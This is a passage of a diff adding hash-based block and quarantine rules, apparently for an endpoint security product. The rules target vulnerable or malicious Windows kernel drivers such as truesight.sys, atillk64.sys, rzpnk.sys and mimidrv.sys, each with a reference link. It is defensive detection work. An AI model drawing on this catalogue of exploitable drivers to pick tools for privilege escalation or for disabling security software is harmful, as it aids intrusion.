+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "38d6d90d543bf6037023c1b1b14212b4fa07731cbbb44bdb17e8faffc12b22e8",
+  "comment": "Vulnerable Kernel Driver (aka segwindrvx64.sys) [https://www.loldrivers.io/drivers/a4aa80bc-4ecd-49ab-bc0f-0f49b07fdd7f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0810700b-96ed-5d09-b71e-0a8e87cdba4b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499162Z",
+  "creation_date": "2026-03-23T11:45:31.499165Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499173Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bff977eab714911c400790b58513565952885cb348237de101a172474016cf64",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "082b28c9-c335-5397-af2b-d62ebfaeb8d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815011Z",
+  "creation_date": "2026-03-23T11:45:31.815014Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815023Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2c3cf064c8167dc82ee144f01483c4b870252318d23c1d1439cdcc36bbe639a4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "08318274-0a03-57b7-a98a-aa4a6031b930",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617323Z",
+  "creation_date": "2026-03-23T11:45:29.617325Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617331Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "248dcc72d799d350d30b0f9e9ae93389cdcd11b43e38949ba9be414400657587",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "083bb25d-92c0-5ecf-891b-4a75f07b4bd5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153924Z",
+  "creation_date": "2026-03-23T11:45:31.153926Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153932Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "93df5db6037d76c3dabdb6b8dd384665f62ae8381d24b35e220fee93c2c715d7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "083f4573-950b-5aa8-abf6-0deae5fc923f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488292Z",
+  "creation_date": "2026-03-23T11:45:31.488294Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488300Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f7afd13d94d7c73dc4585456c1fb2abbecdc154434198f8a19a7950b724382b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "084330c4-8397-5052-84fd-e91be2d9b91c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828632Z",
+  "creation_date": "2026-03-23T11:45:30.828634Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828639Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1b2ef93d0b7bba53f358dc2f7bdc1033c1925842966f21f8a6ccb2b3fe30065e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "08486284-66b1-5497-b97e-82a02a91d22e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616939Z",
+  "creation_date": "2026-03-23T11:45:29.616948Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616958Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "96cb847fab0befab75a6f39080dd444d022d4bec73017c9d7187fe6282a0faa1",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "08603510-e98f-56f5-906b-7f210979c9f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811701Z",
+  "creation_date": "2026-03-23T11:45:31.811705Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811713Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b292a62ad8f320fcf9327b1bde23c360b843778c905a0b0633ea30044a6a7457",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0862fa33-7f89-5c24-88c8-70226a1264b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810769Z",
+  "creation_date": "2026-03-23T11:45:31.810771Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810778Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d6a09e5c1b36a57a0aa46f469b52dbc60df21cfb92985a7abf26104996b6d5dc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "086618ac-fcc9-5e93-ac97-83dc65dd6962",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617431Z",
+  "creation_date": "2026-03-23T11:45:29.617433Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617438Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be66f3bbfed7d648cfd110853ddb8cef561f94a45405afc6be06e846b697d2b0",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "087404c1-b0b2-5fd4-b89c-246111c321c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143927Z",
+  "creation_date": "2026-03-23T11:45:31.143929Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143935Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "deee9c8f018d7d2fa18e5409ebfc85dca0dd9600b94774f998ef0cd5bce77080",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0874a627-74b7-5900-a9e5-d756636da0a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498684Z",
+  "creation_date": "2026-03-23T11:45:31.498687Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498696Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "46dae2e1e9e040eec78cbf74c5b7adf5e34796e94869de2668c47c770f1c4ab3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "08828464-2abd-5763-9d16-8ab03b62390b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465057Z",
+  "creation_date": "2026-03-23T11:45:30.465060Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465068Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6964a5d85639baee288555797992861232e75817f93028b50b8c6d34aa38b05b",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "08832b6b-d7db-5517-9dfd-1f031ccee6cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980664Z",
+  "creation_date": "2026-03-23T11:45:29.980666Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980671Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "def61560c0650717cb1da923f0d674b363b8f2051247719b34f06744bbb79000",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0884b735-d5f9-5bd1-8f5a-d4247e2ef3ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980621Z",
+  "creation_date": "2026-03-23T11:45:29.980624Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980633Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "af9c600edb134fb8f21d585bbf7d0a4d3f1b792b6dd104c10d38f220f47671f8",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "088e8227-4f7f-5737-b5ba-ad3afd6c2d85",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982432Z",
+  "creation_date": "2026-03-23T11:45:29.982434Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982439Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c6213a8222f087be42f493e37edf17e261e9afa0c832d05f3f1f54a318f60d2",
+  "comment": "Vulnerable Kernel Driver (aka windows7-32.sys) [https://www.loldrivers.io/drivers/b45a3fdf-592a-4cd9-81e2-8fe03d554cad/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "089e5840-ad92-5edc-8191-b5c53fb79121",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491654Z",
+  "creation_date": "2026-03-23T11:45:31.491657Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491664Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad6b609b08a46738958bdcd3158b2697934fbb65ddb15b59bb1fe9810b7578b8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "089f5567-cea7-5a45-bb55-c00308a7b090",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976173Z",
+  "creation_date": "2026-03-23T11:45:29.976175Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976181Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8e035beb02a411f8a9e92d4cf184ad34f52bbd0a81a50c222cdd4706e4e45104",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "08a8b7b8-39d6-5e3b-a1e4-482bb4a1544b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810593Z",
+  "creation_date": "2026-03-23T11:45:31.810595Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810601Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "78086b63e901f3f8d086a54b6e3868494026520843463ba084e48e1271b295dd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "08c1369b-4330-5170-9a55-21041727e016",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830420Z",
+  "creation_date": "2026-03-23T11:45:30.830422Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830428Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "32b7268733588e5884d01ab8a29bae20ce6d412711950281774dd727ff7fdbf2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "08cbe670-69a1-518c-a194-467265f6cf8e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612266Z",
+  "creation_date": "2026-03-23T11:45:29.612268Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612273Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c2977d63faa340b03e1bbfb8a6db19c0adfa60ff6579b888ece10022c94c3ec",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "08f48dfd-3718-5538-9db9-331f5068241b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807965Z",
+  "creation_date": "2026-03-23T11:45:31.807968Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807976Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "78d78ad77ac2cae14b0faf8638c5fd649afef26bbc0893ae35987dac465b4bc1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
